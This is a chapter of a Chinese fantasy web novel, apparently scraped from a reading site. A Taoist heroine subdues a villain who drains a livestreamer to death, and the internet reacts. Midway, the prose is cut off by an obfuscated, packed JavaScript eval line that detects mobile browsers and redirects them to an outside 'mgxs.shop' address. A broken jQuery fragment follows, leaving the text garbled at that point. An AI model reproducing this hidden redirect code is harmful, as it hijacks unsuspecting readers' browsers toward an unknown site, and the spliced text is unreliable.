“给我,都给我!”
“呃,呃……”苏棠使劲拍打着他的胳膊,却没有动摇他分毫。
直播看到这一幕的网友立刻陷入疯狂!
【什么人,太可怕了!】
【救命!报警!】
【快报警啊,有没有人知道酥糖住哪里啊?】
【这是人是鬼啊?】
【这个人跟个骷髅似的,脸上还纹了些乱七八糟的东西,不是人吧?】
【楼上说的,他不会真的是鬼吧?】
……
钱恒没有看到手机在直播,他一心想要尽快恢复,而目前最快能帮他的,就是和他建了联系的苏棠,只有她的生命力能最短时间内为他所用。
苏棠就这样在几十万人面前从一个鲜活的人变成了近乎骷髅的干尸。
【这是我一个普通人能看到的?】
【我曹,这是特效吗?】
【楼上心真大,神他妈特效。已经报警了,我走了,太可怕了!】
弹幕刷的飞快,因为传播速度快,越来越多的人涌进来。
阮夏和秦睿明他们就是在这时候闯进来的。
阮夏在现场找到钱恒留下的那枚铜钱,根据李道长的独门追踪术法,一群人根据气息,一路上追踪了过来。
“阮夏,”钱恒扔开苏棠的身体,缓缓转过身来,“你比我想象中的还要厉害,我布置那么久的东西,竟然还是让你安然无恙的活了下来。”
阮夏的目光扫过苏棠的尸体,重新定格在钱恒的脸上。
在化工厂里,光线昏暗,没有看清楚,原来钱恒脸上,身上都纹了密密麻麻的符文。
“你为了陷害我,杀了那么多人,把自己搞成这模样,结果还是失败了。不知道是该说你蠢还是同情你好惨。”
钱恒脸色更加狰狞:“你!”
秦睿明和李长丰:……
杀人诛心啊!
阮夏丝毫没有在意他们的眼神,掏出一张金色雷符甩了甩:“现在没有你的阵法压制,你觉得你还能打得赢我吗?”
钱恒拿出那枚铜钱:“不试试怎么知道呢?”
“砰!”他话音刚落,一声木仓响,一颗子弹打中钱恒胳膊,他手里的铜钱跌落在地,整个人因为承受巨大的痛苦跌倒在地。
阮夏被眼前的一幕惊呆了,呆愣愣地转头看向举着木仓的人。
秦睿明正准备收起武器,见她看过来,有些不明所以。
阮夏一蹦三尺高,拿着符箓甩在他身上:“是你的主场吗,你就来?真是的,这种人不经过天打雷劈是不行的你知不知道?”
秦睿明:……
他连忙制止准备上前拿人的同事,对阮夏伸出手:“你请,你请。”
阮夏看向还在地上翻滚的钱恒,想起在幻象中看到的家人和师门,狠狠地把符箓扔了过去。
一道粗壮的雷光闪过,钱恒被雷劈中,直接昏死过去,像条死狗一样被警察拖走了。
阮夏看着苏棠的尸体,叹了口气。
“与虎谋皮,一定不会有好下场。这个苏棠就是最好的例子。”
彻底确定没有任何威胁之后,秦睿明看向她受伤的手臂:“现在可以去医院了吧,剩下的让李道长他们解决吧。”
阮夏的伤口还在流血,她不听劝阻非要跟过来,如今血已经把简易包扎的衣服渗透了,鲜红一片。
可见伤的有多重。
“走吧,你这伤口不能再拖了。”
秦睿明拉着人就要走。
没有拉动。
阮夏正歪着头,见他看过来,伸出手指指向桌子上的笔记本:“呃,比起伤口,可能那个更需要你们尽快处理。”
秦睿明皱眉,这才发现,原来他们来之前,苏棠一直开着直播。
【哦哦哦,什么情况?????】
【你们看到了吗,刚才的雷是真的吗?】
【这是现实世界吗,我是不是穿越了?】
【我K,刚才那个是传说中的邪修?阮夏真的是道士?】
……
李长丰等人见状围拢过来,看到屏幕上的评论,纷纷觉得头大,连忙把直播关掉。
果不其然,没过一会,有关玄学,有关邪修,道协,阮夏的词条,以惊人的速度冲上热搜。
就算官方想要介入,也晚了。
直播关掉容易,可截图录屏呢?几十万甚至上百万人看的现场直播,他们也不能把人家脑子给封闭了。
哎!
……
“师父,你没事吧?”
自从阮夏出事,林景之和易嘉恒两人就待在阮家没有离开。他们学艺不精,也不敢贸贸然出去给他们添乱,只能守护好后方。如今看到人平安回来,两个人才松了口气。
张舒雨冲过来,一把抱住好友:“夏夏,你没事就好了。”
她抱的很紧,阮夏无奈笑了一下,想把人推开,却突然感觉到颈间传来一点温热的触感。她抬头,见林霞阿姨站在一边也在不停地抹着眼泪。
两个小朋友听到声音,也冲了出来,挤到两人中间,抱着她的腰不松手。
被小孩子闹,张舒雨不好意思地松开了手,转过身去擦眼泪。
阮夏蹲下身,抱住两个小朋友,突然感觉眼眶有些发热。
看着这热络的场景,林霞突然想到什么,连忙招呼杜子言:“小杜,快,快把我准备的火盆拿出来。”
杜子言闻声连忙小跑进厨房,戴着手套,端出一个铁盆来,里面的炭烧的红红的。
“快,师父,快来跨火盆。”林景之催促她。
阮夏站起身,准备从上面跨过去。
林霞在旁边说道:“哎,对。跨过去吧。火除晦气,好兆头来。火烧凶星,平安祥瑞。今天跨了火盆,以后就是平平安安的。我也给你准备好了柚子叶,都在你的浴室里呢。等会你也要好好泡一泡,除除晦气。”
他们都是知道她的职业,也知道她的能力。什么好运,什么除晦都只不过是她随手一个符箓的事,可是他们都还是费心思给她准备了火盆,给她准备了柚子叶。无论她有多大本事,此刻也是一个需要他们关心,需要他们关怀的家人。
他们只是希望她能平安顺遂,仅此而已。
阮夏望向远处的天空。
师父,师兄,放心吧。这个世界还有很多人像当初的你们一样,爱着她,守护着她,既然如此,那她也拿出最大的诚意来守护他们吧。
*
苏棠直播被吸成干尸,以及阮夏甩符引的事件在网上疯传。虽然官方第一时间进行了视频清理,相关消息传的还是飞快。
上有政策,下有对策。隐晦相关的词条依旧挂在热搜上,层出不穷。
尤其是警方下发警情通报,洗清阮夏身上的嫌疑之后,相关话题热度更盛。
阮夏也大致浏览了一下,网友基本分为了几派。一是科学派,坚定不移的唯物论者,认为现场不过是特效或者,那个苏棠本就有什么疾病。第二就是玄学派,大家没见过,但是也都看过电视,吸星大法一样的肯定是邪术。第三就是阴谋派,不少人认识钱恒,也知道苏棠背后的金主就是他,顺藤摸瓜地猜测钱家肯定不是什么正经家族,估计是在搞什么人体实验也说不定。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17711995|203615||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
阮夏不理网上的那些东西,继续她的早八晚六。
系统不解:“宿主,现在你都快大熊猫了,为什么还要坚持上班啊?”
而且那点工资,一年加起来也比不上她随手画的一张符箓啊。
阮夏转头看了看,站在门口帮她婉拒参观,谢绝签名的杜子言,在心里叹了口气:“任重而道远啊。”
系统更不解了。
阮夏也懒得解释,解释也解释不清楚。钱家如今的势力大不如前,但是瘦死的骆驼比马大,更何况她此生最大的敌人还没有出现,她不能坐以待毙。
想着想着,阮夏突然想起来一件事,“对了,我现在还有多久的寿命?”
系统哗啦啦翻着电子屏:“根据之前的兑换规则,目前宿主的寿命是八十年多,而且还有往上涨的趋势。”
阮夏欣慰点点头:“不错不错。”
总算不用担心了!
也许是她现在热度太大,律所里面的人也不敢派任务给她,甚至领导特意交代,不需要坐班,有事来就行了。原话更奇葩。
“没关系,这班坐不坐都行。你要是有要事,直接去办就行了,不需要根公司请假。呵呵,我们都懂的。”
懂?
懂什么?
阮夏不知道他们懂什么,不过领导给了她便利也挺好的。
大敌当前,她每天都在论坛上发布一些关于阵法,关于修炼,关于符箓的文章,并敦促他们抓紧时间练习,甚至每次还在评论区抽查学习成果。一番操作下来,整个道门的学习氛围空前高涨,大家的修为也慢慢提升了上来。
“呃,师父,我们能不能休息两天,就算学校和工作,也都有休息日的啊!”再次被拉着练了一天体术和符箓的林景之瘫倒在沙发上,一动不想动。
“是啊,师叔,真的太累了,我想睡个懒觉。”同样瘫倒的还有卫清和。
自从上次的事件发生后,方云年师徒三个就没有离开,阮夏索性在同一个小区里给他们也买了一套房子,让他们先在这里住着。
阮夏看向方清宇,见他状态还好。又看向易嘉恒,一脸疲态,登时嫌弃地闭了闭眼。
“菜就多练。”
她指着一旁倒水的秦睿明,“你看人家秦队长,只是偶尔碰到了才跟你们一起练练,就这都比你们强多了。你们应该向他学习学习。”
林景之和卫清和闻言不约而同地翻了个白眼。
他那时偶尔碰到吗,他那分明就是蓄谋已久!除了师父/师叔,这屋里谁看不出来这小子的花花肠子。再说了,他是不累吗,他是强撑着表现而已,死装男!
方清宇眼神不善地瞥了一眼秦睿明,意思很明了。想要拐走我们的人,没那么容易!
秦睿明连忙把倒好的茶放到他手边,又挨个给其他两个人递上水杯。这才找了个位置坐下。
系统悄悄捂嘴偷笑。
张舒雨不忍直视,别开眼,这是什么修罗场啊,连心意都没表达呢,就快被摁灭了。就她观察,秦队长人很好,也很靠谱。
不行,不能让这棵情苗就这么蔫了!想了想,她拿出手机给杜子言发消息。
*
道门学习氛围浓厚,关于对钱家的调查也在按部就班进行。
明面上对钱家产业和公司的调查和围堵也一直在进行。但是他们的手段太过隐秘和毒辣。往往刚刚找到的线索,不是证物丢失就是证人出事。想要连根拔起,不是件容易的事。
关于这些,阮夏也无能为力。
更让人头疼的事情在后面。直播事件的热度还没过去,另一波浪潮已经涌来。